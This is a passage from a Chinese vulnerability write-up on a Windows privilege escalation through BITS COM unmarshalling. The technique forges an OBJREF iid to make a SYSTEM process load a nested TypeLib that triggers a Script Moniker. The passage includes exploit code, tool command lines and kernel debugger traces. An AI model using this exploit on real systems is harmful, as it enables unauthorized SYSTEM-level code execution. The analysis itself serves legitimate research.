c:\\windows\\system32\\*.dll\n//笔者工具中的查找模式,参数为目标路径和后缀名\nMyComEop.exe  v [find path] [extension]\n//深度查找模式,参数为目标路径和后缀名\nMyComEop.exe  d [find path] [extension]\t\t\t\n```\n对于Windows7系统笔者使用以上工具找到了一些系统自带的TypeLib(类型库)文件可以实现利用,对于Windows10等高版本系统也找到了一个可以被System用户写入的系统自带TypeLib,更好的情况是对于安装了第三方软件注册的Com组件的基本上都存在类似TypeLib文件符合条件,所以必定存在这种利用方式的利用价值.\n```\nWindows7系统TypeLib位于:\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\System.EnterpriseServices.tlb\nWindows10等高版本系统TypeLib位于:\nC:\\Windows\\System32\\SysFxUI.dll\n```\n![查看大图](https://ftp.bmp.ovh/imgs/2020/06/82d5245385a1632a.png)\nWindows7系统的利用可以直接在poc中体现,对于Windows10等高版本系统已在我的另一个[EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)中得到验证,如果仅进行测试目的可以用以下命令行启动实现,由于是需要System用户写入,推荐使用[Process Hacker](https://processhacker.sourceforge.io/)等工具将当前用户身份切换至System用户,效果如上图:\n```\nMyComEop.exe u \"{E6DB299B-B925-415A-879B-4A76D072F39A}\" \"IMyPageFactory\" \"{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}\"  \"C:\\Windows\\System32\\SysFxUI.dll\" true\n```\n如果读者找到符合条件TypeLib后可以用[Windows SDK](https://developer.microsoft.com/zh-cn/windows/downloads/windows-10-sdk/)中的OleView工具打开,选择任意一个Interface分别提取出这3个参数IID_Interface,InterfaceName,TypeLib_GUID就可以使用利用工具中的高级模式实现利用,这里笔者使用的是这个Windows7系统一个自带的TypeLib进行演示.\n![查看大图](https://ftp.bmp.ovh/imgs/2020/05/566fb6af779fecfc.png)\n![查看大图](https://ftp.bmp.ovh/imgs/2020/05/cfdf6fba7c5462b1.png)\n漏洞利用的原理来自Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口允许传递任意远程com对象,如果这个对象继承了IMarshal接口,bits服务会根据接口方法GetUnmarshalClass中传入的CLSID自定义Unmarshal反序列化.这里笔者使用的标准Unmarshal方式即CStdMarshal::UnmarshalInterface触发反序列化,而导致反序列化的数据来自MarshalStream中的OBJREF结构,这个结构格式如下,具体可参考[微软官方文档](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/fe6c5e46-adf8-4e34-a8de-3f756c875f31?redirectedfrom=MSDN)和我的[另一篇文章](https://bbs.pediy.com/thread-228829.htm)\n```\ntypedef LUID OXID;\ntypedef LUID OID;\ntypedef GUID IPID;\ntypedef struct tagDUALSTRINGARRAY    {\n\tunsigned short wNumEntries;     // Number of entries in array.\n\tunsigned short wSecurityOffset; // Offset of security info.\n\tunsigned short aStringArray[];\n} DUALSTRINGARRAY;\n\ntypedef struct tagSTDOBJREF    {\n\tDWORD   flags;\n\tDWORD   cPublicRefs;    \n   //对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符\n\tOXID           oxid;\n  //存根管理器的标识符  \n\tOID            oid; \n//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识   \n\tIPID           ipid;\n} STDOBJREF;\n\ntypedef struct tagOBJREF    {\n\tunsigned long signature;//MEOW\n\tunsigned long flags;\n\tGUID          iid;\n\tunion        {\n\t\tstruct            {\n\t\t\tSTDOBJREF       std;\n\t\t\tDUALSTRINGARRAY saResAddr;\n\t\t} u_standard;\n\t\tstruct            {\n\t\t\tSTDOBJREF       std;\n\t\t\tCLSID           clsid;\n\t\t\tDUALSTRINGARRAY saResAddr;\n\t\t} u_handler;\n\t\tstruct            {\n\t\t\tCLSID           clsid;\n\t\t\tunsigned long   cbExtension;\n\t\t\tunsigned long   size;\n\t\t\tULONGLONG pData;\n\t\t} u_custom;\n\t} u_objref;\n} OBJREF;\n\n```\n这里flags为OBJREF_STANDARD(0x01),表示使用标准Unmarshal方式(CStdMarshal),对应的下方联合体的是STDOBJREF,至于其他flags类型均有自定义的unmarshal方式,不在本文的讨论范围,请读者自行研究.而最终导致实现漏洞利用的是其中的iid字段,通过逆向研究发现替换这个iid(也就是oleview中找到的接口IID_Interface)就可以触发bits服务加载这个iid对应com组件对象的TypeLib(类型库),也就是说任意TypeLib反序列化.最终替换TypeLib文件构造为嵌套的TypeLib结构就可以运行Script Moniker来GetShell.这里附上漏洞利用关键代码:\n```\nvirtual HRESULT STDMETHODCALLTYPE MarshalInterface(\n\t\t/* [annotation][unique][in] */\n\t\t_In_  IStream *pStm,\n\t\t/* [annotation][in] */\n\t\t_In_  REFIID riid,\n\t\t/* [annotation][unique][in] */\n\t\t_In_opt_  void *pv,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD dwDestContext,\n\t\t/* [annotation][unique][in] */\n\t\t_Reserved_  void *pvDestContext,\n\t\t/* [annotation][in] */\n\t\t_In_  DWORD mshlflags)\n\t{\n\t\tIStorage* stg;\n\t\tILockBytes* lb;\n\t\tCreateILockBytesOnHGlobal(nullptr, TRUE, &lb);\n\t\tStgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);\n\t\tULONG cbRead;\n\t\tULONG cbWrite;\n\t\tIStreamPtr pStream = nullptr;\n\t\tHRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);\n\t\tLARGE_INTEGER dlibMove = { 0 };\n\t\tULARGE_INTEGER plibNewPosition;\n\t\thr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);\n\t\tOBJREF* headerObjRef = (OBJREF*)malloc(1000);\n\t\thr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);\n\t\thr = pStream->Read(headerObjRef, 1000, &cbRead);\n\t\tprintf(\"[+]MarshalInterface: %ls %p\\n\", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);\n        //IID_InterfaceFake就是找到的接口IID_Interface\n\t\theaderObjRef->iid = IID_InterfaceFake;\n\t\thr = pStm->Write(headerObjRef, cbRead, &cbWrite);\n\t\treturn hr;\n\n\t}\n```\n从调试结果可以看到CStdMarshal::UnmarshalInterface最终调用了LoadTypeLibEx,传入iid是IID_InterfaceFake(来自OBJREF),第二次调用LoadTypeLibEx加载了Script Moniker.证明确实可以HOOK高权限进程反序列化加载任意TypeLib\n```\n1: kd> bp OLEAUT32!GetTypeInfoOfIID\nBreakpoint 0 hit\nOLEAUT32!GetTypeInfoOfIID:\n0033:000007fe`febf0140 4533c0          xor     r8d,r8d\n//继续调试....\n0: kd> p\nOLEAUT32!GetTypeInfoOfIIDFwd+0x19:\n0033:000007fe`febefd09 4889842480030000 mov     qword ptr [rsp+380h],rax\n0: kd> r\nrax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c\nrdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148\nrip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002\n r8=0000000000000000  r9=0000000000000000 r10=0000000000000000\nr11=00000000033ae088 r12=00000000059f912c r13=0000000000000001\n0: kd> dt _GUID @rcx\n//查看这个参数\nole32!_GUID\n {55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake\n //下这个断点\n1: kd> bp OLEAUT32!LoadTypeLibEx\n1: kd> g\nBreakpoint 3 hit\nOLEAUT32!LoadTypeLibEx:\n0033:000007fe`feb6a550 fff3            push    rbx\n//第一次加载的是目标TypeLib\n1: kd> dc @rcx L50\n00000000`02c8e070  003a0043 0057005c 006e0069 006f0064  C.:.\\.W.i.n.d.o.\n00000000`02c8e080  00730077 004d005c 00630069 006f0072  w.s.\\.M.i.c.r.o.\n00000000`02c8e090  006f0073 00740066 004e002e 00540045  s.o.f.t...N.E.T.\n00000000`02c8e0a0  0046005c 00610072 0065006d 006f0077  \\.F.r.a.m.e.w.o.\n00000000`02c8e0b0  006b0072 0076005c 002e0034 002e0030  r.k.\\.v.4...0...\n00000000`02c8e0c0  00300033 00310033 005c0039 00790053  3.0.3.1.9.\\.S.y.\n00000000`02c8e0d0  00740073 006d0065 0045002e 0074006e  s.t.e.m...E.n.t.\n00000000`02c8e0e0  00720065 00720070 00730069 00530065  e.r.p.r.i.s.e.S.\n00000000`02c8e0f0  00720065 00690076 00650063 002e0073  e.r.v.i.c.e.s...\n00000000`02c8e100  006c0074 00000062 001e6e38 00000000  t.l.b...8n......\n00000000`02c8e110  059f92e0 00000000 02c8e180 00000000  ................\n0: kd> kv\n # Child-SP          RetAddr           : Args to Child                                                           : Call Site\n00 00000000`0391d828 000007fe`febf00eb : 00000000`00000ed8 00000000`00000000 00000000`0391d9a0 00000000`0391d870 : OLEAUT32!LoadTypeLibEx\n01 00000000`0391d830 000007fe`febf0f4f : 000007fe`ff6c71c0 000007fe`ff661889 00000000`0371f310 00000000`00000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb\n02 00000000`0391dbe0 000007fe`febf1149 : 00000000`00284210 00000000`0371f310 00000000`00284240 00000000`00284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df\n03 00000000`0391dc40 000007fe`ff51e46a : 00000000`00000000 00000000`03715ea0 00000000`00284210 00000000`00284210 : OLEAUT32!CProxyWrapper::Connect+0x79\n04 00000000`0391dc90 000007fe`ff51e233 : 00000000`0371f310 00000000`00000000 00000000`0378aaf8 00000000`00284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\marshal.cxx @ 2368] \n05 00000000`0391dd00 000007fe`ff51e114 : 00000000`0391df50 00000000`0391e618 00000000`0378aaf8 00000000`00000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\marshal.cxx @ 2189] \n06 00000000`0391dd90 000007fe`ff5211ec : 00000000`03715ea0 00000000`0391df68 00000000`0391e618 0000113b`9a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\marshal.cxx @ 1734] \n07 00000000`0391dde0 000007fe`ff5210b7 : 00000000`00000000 00000000`059e7610 00000000`00000000 00000000`00000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\marshal.cxx @ 1618] \n08 00000000`0391de80 000007fe`ff52106c : 00000000`0378aaf8 00000000`0391df50 00000000`00000001 00000000`037daf90 : ole32!UnmarshalSwitch+0x2b [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\marshal.cxx @ 1279] \n09 00000000`0391deb0 000007fe`ff64a0c5 : 00000000`0378aaf8 00000000`00000000 00000000`0365efb0 00000018`00000000 : ole32!UnmarshalObjRef+0xc0 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\marshal.cxx @ 1406] \n//使用的是标准反序列化模式\n0a 00000000`0391df30 000007fe`ff5232a6 : 00000000`037daf90 000007fe`fee64366 00000000`001cf840 000007fe`fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\marshal.cxx @ 1238] \n0b 00000000`0391dfd0 000007fe`ff523542 : 000007fe`00000002 00000000`0391e340 00000000`0391db00 00000000`00000000 : ole32!CoUnmarshalInterface+0x19c [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\coapi.cxx @ 957] \n0c 00000000`0391e0b0 000007fe`fedf523e : 00000000`0363fdd4 00000000`0391e340 000007fe`00000001 00000000`0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\\w7rtm\\com\\rpc\\ndrole\\oleaux.cxx @ 1354] \n0d 00000000`0391e120 000007fe`fedff6cf : 000007fe`00000000 00000000`0391e4f0 00000000`0391e618 00000000`00000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e\n0e 00000000`0391e190 000007fe`fede6e1c : 00000000`0391e340 000007fe`fede78d7 00000000`0391e4f0 00000000`0023e760 : RPCRT4!NdrPointerUnmarshall+0x2f\n0f 00000000`0391e1d0 000007fe`fede68e3 : 00000000`00000020 000007fe`faac1342 00000000`0391e618 000007fe`faac1af0 : RPCRT4!NdrStubCall2+0x73c\n10 00000000`0391e240 000007fe`fede7967 : 00000000`0391e9b0 000007fe`fb63a250 00000000`0391e9b0 000007fe`fb63a250 : RPCRT4!NdrStubCall2+0x203\n11 00000000`0391e860 000007fe`ff660883 : 00000000`00000000 00000000`00000000 00000000`0391ec60 00000000`03715ff0 : RPCRT4!I_RpcGetBuffer+0xc7\n12 00000000`0391e8c0 000007fe`ff660ccd : 00000000`00000000 00000000`00000000 000007fe`fb63a201 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\\w7rtm\\com\\rpc\\ndrole\\stub.cxx @ 1586] \n13 00000000`0391e8f0 000007fe`ff660c43 : 00000000`0023e760 00000000`0378a994 00000000`036ce6a0 000007fe`ec046040 : ole32!SyncStubInvoke+0x5d [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1187] \n14 00000000`0391e960 000007fe`ff51a4f0 : 00000000`0023e760 00000000`037daf90 00000000`0023e760 00000000`0391ecd0 : ole32!StubInvoke+0xdb [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1396] \n15 00000000`0391ea10 000007fe`ff6614d6 : 00000000`00000000 00000018`00000010 00000000`037958a0 00000000`03715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\ctxchnl.cxx @ 1262] \n16 00000000`0391eba0 000007fe`ff66122b : 00000000`d0908070 00000000`037daf90 00000000`01d93e30 00000000`03769be0 : ole32!AppInvoke+0xc2 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1086] \n17 00000000`0391ec10 000007fe`ff65fd6d : 00000000`037daf90 00000000`037daf90 00000000`03715ff0 00000000`00070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1727] \n18 00000000`0391eda0 000007fe`fede50f4 : 000007fe`ff6c9930 00000000`00000000 00000000`037241b0 000007fe`fedde8f7 : ole32!ThreadInvoke+0x30d [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 4751] \n19 00000000`0391ee40 000007fe`fede4f56 : 000007fe`ff670ab0 00000000`00000001 00000000`0391f0b0 000007fe`ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84\n1a 00000000`0391ee70 000007fe`fede775b : 00000000`0378a970 00000000`00000000 00000000`0391f194 00000000`0378a970 : RPCRT4!NdrServerCall2+0x1be6\n1b 00000000`0391ef90 000007fe`fede769b : 00000000`00000000 00000000`0391f0b0 00000000`0391f0b0 00000000`037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b\n1c 00000000`0391efd0 000007fe`fede7632 : 00000000`0378a970 00000000`0378a970 00000000`0378a970 000007fe`fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b\n1d 00000000`0391f050 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : RPCRT4!I_RpcBindingInqTransportType+0x202\n//第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件\n1: kd> g\nBreakpoint 3 hit\nOLEAUT32!LoadTypeLibEx:\n0033:000007fe`feb6a550 fff3            push    rbx\n1: kd> dc @rcx L50\n00000000`02c8dd70  00630073 00690072 00740070 0043003a  s.c.r.i.p.t.:.C.\n00000000`02c8dd80  005c003a 006c0064 0074005c 00730065  :.\\.d.l.\\.t.e.s.\n00000000`02c8dd90  005c0074 006b006f 0072005c 006e0075  t.\\.o.k.\\.r.u.n.\n00000000`02c8dda0  0073002e 00740063 01e50000 00000000  ..s.c.t.........\n00000000`02c8ddb0  037efc30 00000000 feb6733c 000007fe  0.~.....<s......\n\n```\nCom组件服务器端所在的套间(Apartment)维护着Com接口存根(stub)对象列表,每个存根对象都维护着对Com对象的一个引用,根据这个Com对象接口的iid信息在注册表的HKEY_CLASSES_ROOT/Interface下查找子键iid的ProxyStubClsid32子健下的默认值,这个默认值是一个存根对象的CLSID。然后Com根据CLSID调用CoGetClassObject函数请求代理类厂接口IPSFactoryBuffer->CreateStub建立一个接口存根对象.相应的在Com组件的客户端套间上都维护着代理(proxy)对象列表,在对OBJREF进行Unmarshal时搜索匹配存根对象的[oxid,oid,ipid]调用IPSFactoryBuffer->CreateProxy创建对应代理,通过接口IDL文件中定义函数申明构建出物理栈,然后再通过RPCRT4.dll中实现IRpcChannel通道调用真实的接口函数与存根进行通信,从而实现Com远程过程(RPC)调用.\n![点击看大图](https://ftp.bmp.ovh/imgs/2020/04/3f92df786fe10cfa.png)\n代理的创建IPSFactoryBuffer->CreateProxy默认被封装成CreateProxyFromTypeInfo函数实现,这个函数的调用过程和TypeLib中的TypeInfo的相关,原因是其中TypeInfo在TypeLib中定义了接口的相关类型信息.因此这个过程中实际上必定需要调用LoadTypeLib函数来加载TypeLib和其中的TypeInfo,这也是触发漏洞最关键的一点.通过逆向分析LoadTypeLib函数调用过程,发现其具体是通过操作注册表实现.对于每个接口信息位于注册表HKEY_CLASSES_ROOT\\Interface\\[接口IID],其中子键TypeLib对应接口的TypeLib_GUID,接下来对应的TypeLib位于HKEY_CLASSES_ROOT\\TypeLib\\\\[TypeLib_GUID],其中对应版本的子键值就是TypeLib路径.由于一个接口可能存在多个对应版本的TypeLib子键,而反序列化时默认只加载其中一个.笔者通过逆向还原oleaut32.dll中的实现,在漏洞利用工具中实现自动匹配对应TypeLib文件并利用,具体逆向结果如下:\n```\nwchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)\n{\n  wchar_t *result; // eax\n  unsigned __int16 versionLookUp; // bx\n  unsigned __int16 versionLookUpNext; // ax\n  DWORD v6; // ebx\n  LSTATUS i; // eax\n  HRESULT v8; // eax\n  wchar_t *v9; // ebx\n  HRESULT v10; // eax\n  int foundDotted; // [esp+8h] [ebp-31Ch]\n  GUID *v12; // [esp+Ch] [ebp-318h]\n  struct ITypeInfo **v13; // [esp+10h] [ebp-314h]\n  struct ITypeInfo *v14; // [esp+14h] [ebp-310h]\n  wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]\n  LONG cbData; // [esp+1Ch] [ebp-308h]\n  ITypeLib *pptlib; // [esp+20h] [ebp-304h]\n  unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]\n  DWORD dwIndex; // [esp+28h] [ebp-2FCh]\n  unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]\n  HKEY v21; // [esp+30h] [ebp-2F4h]\n  HKEY v22; // [esp+34h] [ebp-2F0h]\n  HKEY phkResult; // [esp+38h] [ebp-2ECh]\n  HKEY hKey; // [esp+3Ch] [ebp-2E8h]\n  CLSID pclsid; // [esp+40h] [ebp-2E4h]\n  WCHAR Data; // [esp+50h] [ebp-2D4h]\n  wchar_t Dst; // [esp+258h] [ebp-CCh]\n  unsigned __int16 tempData; // [esp+268h] [ebp-BCh]\n  OLECHAR sz; // [esp+26Ch] [ebp-B8h]\n  wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]\n  WCHAR Name; // [esp+304h] [ebp-20h]\n  v12 = rguid;\n  v13 = a2;\n  if ( a3 >= 16 )\n    return (wchar_t *)-2147319779;\n  result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);\n  if ( (signed int)result < 0 )\n    return result;\n  if ( result != (wchar_t *)1 )\n    goto LABEL_57;\n  hKey = (HKEY)-1;\n  phkResult = (HKEY)-1;\n  v22 = (HKEY)-1;\n  v21 = (HKEY)-1;\n  pptlib = 0;\n  //先找Interface\n  wcscpy_s(&Dst, 0x47u, L\"Interface\\\\\");\n  StringFromGUID2(rguid, &sz, 39);\n  //如果存在Forward\n  wcscat_s(&Dst, 0x47u, L\"\\\\Forward\");\n  cbData = 520;\n  if ( QueryClassesRootValueW(&Dst, &Data, &cbData)\n    || CLSIDFromString(&Data, &pclsid)\n    || GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )\n  {\n    *(_DWORD *)SubVersion = 0;\n    *(_DWORD *)Version = 0;\n    //找里面的TypeLib\n    wcscpy_s(&Dst, 0x47u, L\"TypeLib\\\\\");\n    result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);\n    if ( (signed int)result >= 0 )\n    {\n    //打开ClassesRoot根节点\n      if ( OpenClassesRootKeyW(&Dst, &hKey) )\n      {\n        result = (wchar_t *)-2147319779;\n      }\n      else\n      {\n        SubKey = 0;\n        //查找子健,枚举版本号\n        for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )\n        {\n          versionLookUp = _wcstoul(&Name, &EndPtr, 16);\n          if ( *EndPtr == '.' )\n          {\n            if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]\n              || versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )\n            {\n              *(_DWORD *)SubVersion = versionLookUpNext;\n              *(_DWORD *)Version = versionLookUp;\n              wcscpy_s(&SubKey, 0xDu, &Name);\n            }\n          }\n        }\n        if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )\n        {\n          if ( phkResult == hKey )\n            hKey = (HKEY)-1;\n          v6 = 0;\n          //继续枚举子健\n          for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )\n          {\n            if ( FIsLCID(&Dst) )\n            {\n              if ( RegOpenKeyW(phkResult, &Dst, &v22)\n                || RegOpenKeyW(v22, L\"win32\", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )\n              {\n                break;\n              }\n              cbData = 520;\n              if ( RegQueryValueW(v21, 0, &Data, &cbData) )\n                break;\n                //找到后就加载\n              v8 = LoadTypeLib(&Data, &pptlib);\n              v9 = (wchar_t *)v8;\n              if ( !v8 || v8 >= 0 )\n              {\n                //根据GUID查找TypeInfo\n                v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);\n                v9 = (wchar_t *)v10;\n                if ( !v10 || v10 >= 0 )\n                {\n                  *v13 = v14;\n                  v9 = 0;\n                }\n              }\n              goto LABEL_26;\n            }\n            ++v6;\n          }\n        }\n....       \n\n```\n每个TypeLib可以是嵌套的TypeLib结构,而加载嵌套的TypeLib也会递归调用LoadTypeLibEx,具体构造方法参考利用工具代码和[微软官方API](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-itypelib2).这样就可以在递归加载TypeLib时指定一个不存在的TypeLib文件路径,就可以被当作一个[Moniker](https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-imoniker)来解析,通过Moniker的DisplayName.这里用的是Script Monike,即script:xxx.sct脚本文件,最终Script Moniker被解析触发BindToObject,以Unmarshal反序列化调用者权限启动Shell,原理如下:\n```\nHRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib)\n{\n  \n...\n      ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind);\n      if ( ptlib )\n        goto LABEL_31;\n    //Typelib文件路径不存在时\n    if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) )\n    {\n      if ( CreateBindCtx(1u, &ppbc) )\n        goto LABEL_67;\n      v8 = SysAllocString(szFileNameRef);\n      if ( v8 )\n      {\n        //可以解析成解析Script Moniker\n        stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk);\n        SysFreeString(v8);\n        if ( !stat )\n        {\n          //启动shell\n          stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib);\n          ppmk->lpVtbl->Release(ppmk);\n        }\n      }\n...    \n```\n![查看大图](https://ftp.bmp.ovh/imgs/2020/05/3f68b0bcbe398136.png)\n对比Process Monitor,以下是Script Moniker最终创建进程的调试结果\n```\nBreakpoint 0 hit\nkernel32!CreateProcessW:\n0033:00000000`77741bb0 4883ec68        sub     rsp,68h\n//启动的就是exp\n0: kd> dc @rdx\n00000000`0378b9f8  00430022 002f003a 006c0064 0074002f  \".C.:./.d.l./.t.\n00000000`0378ba08  00730065 002f0074 006b006f 004d002f  e.s.t./.o.k./.M.\n00000000`0378ba18  00430079 006d006f 006f0045 002e0070  y.C.o.m.E.o.p...\n00000000`0378ba28  00780065 00220065 00310020 00000000  e.x.e.\". .1.....\n00000000`0378ba38  00000000 00000000 00000000 00000000  ................\n00000000`0378ba48  00000000 00000000 00000000 00000000  ................\n0: kd> kv\n # Child-SP          RetAddr           : Args to Child                                                           : Call Site\n00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW\n01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d\n02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3\n03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60\n04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268\n05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a\n06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad\n07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d\n08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d\n09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187\n0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5\n0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5\n0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223\n0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e\n0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf\n0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a\n10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca\n11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68\n12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f\n13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\\w7rtm\\com\\ole32\\oleprx32\\proxy\\call_as.c @ 2264] \n14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\\w7rtm.obj.amd64fre\\com\\ole32\\oleprx32\\proxy\\daytona\\objfre\\amd64\\mega_p.c @ 487] \n15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806\n16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6\n17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\\w7rtm\\com\\rpc\\ndrole\\stub.cxx @ 1586] \n18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d 